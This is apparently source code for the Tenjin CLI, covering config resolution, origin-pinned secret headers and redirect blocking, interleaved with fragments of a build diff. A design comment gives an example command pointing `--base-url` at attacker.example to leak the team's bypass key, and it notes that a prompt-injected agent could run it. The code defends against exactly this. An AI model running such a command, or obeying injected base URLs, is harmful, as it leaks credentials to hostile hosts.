CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? 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The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? 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Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n 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@@ -5,7 +5,7 @@ import {
5
5
  emptyLedger,
6
6
  readLedger,
7
7
  spentOf
8
- } from "./chunk-NZIP4PA2.js";
8
+ } from "./chunk-WK7F3B2E.js";
9
9
  import {
10
10
  withFileLock
11
11
  } from "./chunk-MEFB5KHA.js";
@@ -14,7 +14,7 @@ import {
14
14
  } from "./chunk-2SNUOHAT.js";
15
15
  import {
16
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  writeFileAtomic
17
- } from "./chunk-O2FRQ2L2.js";
17
+ } from "./chunk-7WEQQJLG.js";
18
18
  import {
19
19
  spendLedgerPath
20
20
  } from "./chunk-SJLTEINJ.js";
@@ -189,4 +189,4 @@ export {
189
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  createLocalSpendAuthorizer,
190
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  releaseUnchargedExposure
191
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  };
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- //# sourceMappingURL=chunk-AEG2PXBP.js.map
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+ //# sourceMappingURL=chunk-7ZRL2LBQ.js.map
@@ -1,11 +1,13 @@
1
1
  import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
2
  import {
3
- CliError,
4
3
  PRODUCTION_ORIGIN
5
- } from "./chunk-WO5BJNIB.js";
4
+ } from "./chunk-XQJXNMSB.js";
5
+ import {
6
+ CliError
7
+ } from "./chunk-3UCIG4TG.js";
6
8
  import {
7
9
  package_default
8
- } from "./chunk-VUFAK2LW.js";
10
+ } from "./chunk-5C32RLTA.js";
9
11
 
10
12
  // src/lib/client-meta.ts
11
13
  var TENJIN_PRODUCT = `tenjin-cli/${package_default.version}`;
@@ -321,4 +323,4 @@ export {
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  httpRequest,
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  fetchFailureToCliError
323
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  };
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- //# sourceMappingURL=chunk-IOODYAXL.js.map
326
+ //# sourceMappingURL=chunk-AGZ7PJKY.js.map
@@ -1 +1 @@
1
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So it pins redirects exactly as a signed header\n * does (see {@link carriesBypassKey}), and where it may go is decided here and\n * nowhere else.\n */\nexport const SHELF_BYPASS_HEADER = 'x-vercel-protection-bypass';\n\n/**\n * A bypass secret and the origin it belongs to.\n *\n * THE ORIGIN IS PART OF THE VALUE, and that is the whole design. The CLI talks\n * to two shelves in team mode — the team's own deployment and the public\n * marketplace — and a caller that decides \"this request is to the team shelf, so\n * attach the key\" is a caller that eventually gets it wrong once. So callers\n * pass the pair and this transport does the compare: the header is attached from\n * the REQUEST URL, so a request to any other host cannot carry it, whatever the\n * call site believed.\n */\nexport interface ShelfBypass {\n /** `URL.origin` of the shelf the secret opens (the configured `baseUrl`). */\n origin: string;\n secret: string;\n}\n\n/** The bypass header for `url`, or nothing. Exported for the hook-script mirror\n * test, which runs the generated copy of this rule against this one. */\nexport function shelfBypassHeaders(\n url: string,\n bypass: ShelfBypass | undefined,\n): Record<string, string> {\n if (bypass === undefined || bypass.secret.length === 0) return {};\n let origin: string;\n try {\n origin = new URL(url).origin;\n } catch {\n return {};\n }\n if (origin !== bypass.origin) return {};\n return { [SHELF_BYPASS_HEADER]: bypass.secret };\n}\n\n/**\n * Whether the request being assembled actually carries the door key.\n *\n * A request that carries it MUST NOT follow a redirect. `fetch`'s default\n * `redirect: 'follow'` re-sends request headers verbatim to the new host (Node\n * strips only `Authorization`), so a single 3xx anywhere on the shelf origin —\n * the Vercel Authentication interstitial a rotated bypass secret gets, a domain\n * alias, a CDN rule — would hand the team shelf's key to whatever `Location`\n * names. Nothing else is needed to walk in afterwards, so the key never leaves\n * the origin it was paired with, not even one hop.\n *\n * Read off the BUILT headers rather than off `opts.bypass`, for the same reason\n * {@link CREDENTIAL_HEADERS} is matched by name: attaching the secret is what\n * arms the protection, so an off-origin request (which gets no header) keeps\n * ordinary transport and a call site cannot forget to ask for the pin.\n */\nfunction carriesBypassKey(headers: Record<string, string>): boolean {\n return Object.keys(headers).some((name) => name.toLowerCase() === SHELF_BYPASS_HEADER);\n}\n\n/** The anonymous install id: a random UUID minted once per data dir. */\nexport const INSTALL_ID_HEADER = 'tenjin-install-id';\n\n/**\n * Who is using the router, for Tenjin's own request telemetry: an anonymous\n * install id, random and tied to nothing but the data dir.\n *\n * Same shape as {@link ShelfBypass}, for the same reason: the transport decides\n * where it goes, from the REQUEST URL, so a call site cannot send it to a\n * provider by believing it is talking to Tenjin. `pay` runs over this transport\n * to third-party sellers, and none of them gets the header.\n *\n * Process-wide rather than a per-call option because it is not a per-call\n * decision: every request to Tenjin carries it, and threading it through forty\n * call sites is forty chances to forget one. Set only by the two process entries\n * (the CLI's `index.ts` and the daemon), so an in-process test that never sets\n * it sends exactly what it always did.\n *\n * Redirects are left to the request's usual transport: an unpinned request\n * follows them as `fetch` does, headers and all. Tenjin's origins redirect only\n * to Tenjin's own hosts, and the id is not a credential, so it is not worth the\n * redirect pin the bypass key and signed headers get.\n */\nexport interface TenjinIdentity {\n /** The origins that are Tenjin's own for this process. */\n origins: () => Promise<readonly string[]>;\n /** The install id; absent when it could not be read or created. */\n installId: () => Promise<string | undefined>;\n}\n\nlet tenjinIdentity: TenjinIdentity | undefined;\n\nexport function setTenjinIdentity(identity: TenjinIdentity | undefined): void {\n tenjinIdentity = identity;\n}\n\n/**\n * The telemetry headers for `url`, or nothing. NEVER THROWS: a data dir that\n * cannot be read costs the request its telemetry and nothing else.\n */\nexport async function tenjinIdentityHeaders(url: string): Promise<Record<string, string>> {\n const identity = tenjinIdentity;\n if (identity === undefined) return {};\n try {\n if (!(await identity.origins()).includes(new URL(url).origin)) return {};\n const id = await identity.installId();\n return id !== undefined ? { [INSTALL_ID_HEADER]: id } : {};\n } catch {\n return {};\n }\n}\n\n/**\n * The one place the identity is written for anything that can import it; both\n * transports funnel their Headers through it, so a third entry point on this\n * side cannot ship without it. `.set` on a Headers\n * object is what makes this total: a caller header spelled `User-Agent` in any\n * case lands in the same slot and is overwritten, never duplicated, so a\n * call-specific header cannot erase the composed field or add a second one.\n */\nfunction applyUserAgent(headers: Headers, callerUserAgent?: string): Headers {\n headers.set('user-agent', composeUserAgent({ caller: callerUserAgent }));\n return headers;\n}\n\n/** The same write for `fetchJson`'s plain-object headers; Headers.entries() is lowercase-keyed. */\nfunction withUserAgent(\n callerHeaders?: Record<string, string>,\n callerUserAgent?: string,\n): Record<string, string> {\n return Object.fromEntries(\n applyUserAgent(new Headers(callerHeaders ?? {}), callerUserAgent).entries(),\n );\n}\n\n/** A successful 2xx whose body parsed as JSON. */\nexport interface FetchJsonSuccess {\n ok: true;\n status: number;\n json: unknown;\n /** The server's `x-request-id`, when it sent one — useful in error reports. */\n requestId?: string;\n}\n\n/**\n * A failed request, tagged by class so the caller maps it deliberately:\n * `network`/`timeout` (never reached the server or no answer), `http` (a non-2xx\n * status), `invalid-json` (2xx but the body was not JSON).\n */\nexport interface FetchJsonFailure {\n ok: false;\n kind: 'network' | 'timeout' | 'http' | 'invalid-json' | 'blocked-redirect' | 'oversized-header';\n status?: number;\n requestId?: string;\n message: string;\n /**\n * On `invalid-json`, and on `http` when the status is 401/403: the response\n * looks like an access-protection or sign-in page rather than an API answer.\n * See {@link accessGateSignals} for what \"looks like\" means. Callers use it to\n * point at the missing credential instead of at the base URL, which is the one\n * setting that was already correct (#218).\n */\n gateSuspected?: boolean;\n /**\n * Present (true) only where the response left the host that was asked for:\n * `gateSuspected`'s STRONGER signal (the final URL's host differs), or, on\n * `blocked-redirect`, a `Location` that resolves to another host. An HTML\n * content-type alone proves a page came back, not who sent it, and a 3xx\n * alone proves only that the URL moved; leaving the host is what lets a\n * caller name access protection outright.\n */\n gateOffOrigin?: boolean;\n /**\n * On `network`: the layer the error chain names, when it names one. The\n * origin never answered, so a caller that blames it (or its base URL) gives\n * the wrong fix. See {@link transportFailure}.\n */\n transport?: TransportFailure;\n /**\n * On a `timeout` that came after the response headers did (`httpRequest`\n * only): a case-insensitive lookup over them. A seller can name where a long\n * job's result will be with its first byte, and only the body ran out of time.\n */\n header?: (name: string) => string | undefined;\n}\n\n/** Which layer refused a request that never reached the origin. */\nexport interface TransportFailure {\n layer: 'proxy' | 'dns' | 'tls' | 'connect';\n /** The socket's own error code, for every layer but `proxy`. */\n code?: string;\n /** What the proxy answered to `CONNECT`, for `proxy` only. */\n proxyStatus?: number;\n}\n\n/**\n * Does this response read as a protection page rather than as an API answer?\n *\n * Two independent signals, reported separately because they prove different\n * amounts (the caller's wording must not outrun the evidence):\n *\n * - an HTML content-type, because a Vercel Deployment Protection interstitial\n * and every sign-in wall answer with a page;\n * - a final URL whose host is not the one asked for, because a gate that\n * redirects to sign in lands the probe on another host and `fetch` follows it\n * silently on the unpinned requests this function serves.\n *\n * Decided HERE because this transport is the only place holding the `Response`;\n * a caller re-deriving it from the failure message would be guessing. An\n * unreadable final URL is NOT suspicion: `res.url` is empty on a synthesized\n * Response, so only a host that reads AND differs counts.\n */\nfunction accessGateSignals(\n requestedUrl: string,\n res: Response,\n): { gateSuspected: boolean; gateOffOrigin?: true } {\n const html = /^\\s*text\\/html\\b/i.test(res.headers.get('content-type') ?? '');\n let offOrigin = false;\n if (res.url.length > 0) {\n try {\n offOrigin = new URL(requestedUrl).host !== new URL(res.url).host;\n } catch {\n offOrigin = false;\n }\n }\n return {\n gateSuspected: html || offOrigin,\n ...(offOrigin ? { gateOffOrigin: true as const } : {}),\n };\n}\n\n/**\n * Does an unfollowed 3xx point off the host that was asked for?\n *\n * The pinned branch never follows, so `res.url` is still the requested URL and\n * `Location` is the only evidence about where the hop went. That distinction\n * carries the whole verdict downstream: a gate's sign-in interstitial lands on\n * another host, while an `http://` base URL that 301s to https, or a host\n * normalising to its canonical name, does not, and reading either as a refused\n * credential blames the wrong setting. A relative target resolves against the\n * request, so it is same-host by construction; a missing or unparseable one is\n * NOT an off-host claim.\n */\nfunction redirectLeavesHost(requestedUrl: string, location: string | null): boolean {\n if (location === null || location.length === 0) return false;\n try {\n return new URL(requestedUrl).host !== new URL(location, requestedUrl).host;\n } catch {\n return false;\n }\n}\n\n/**\n * Header names that carry wallet-signed material.\n *\n * A request bearing any of these must NEVER follow a redirect. `resource-ref`\n * pins the invariant — \"nothing signed may leave for a host the user did not\n * configure\" — but `assertOnBaseOrigin` only checks the URL the caller asked\n * for, and `fetch`'s default `redirect: 'follow'` re-sends request headers\n * verbatim to the new host (Node strips only `Authorization`). A 3xx anywhere on\n * the configured origin would therefore hand a signature BOUND 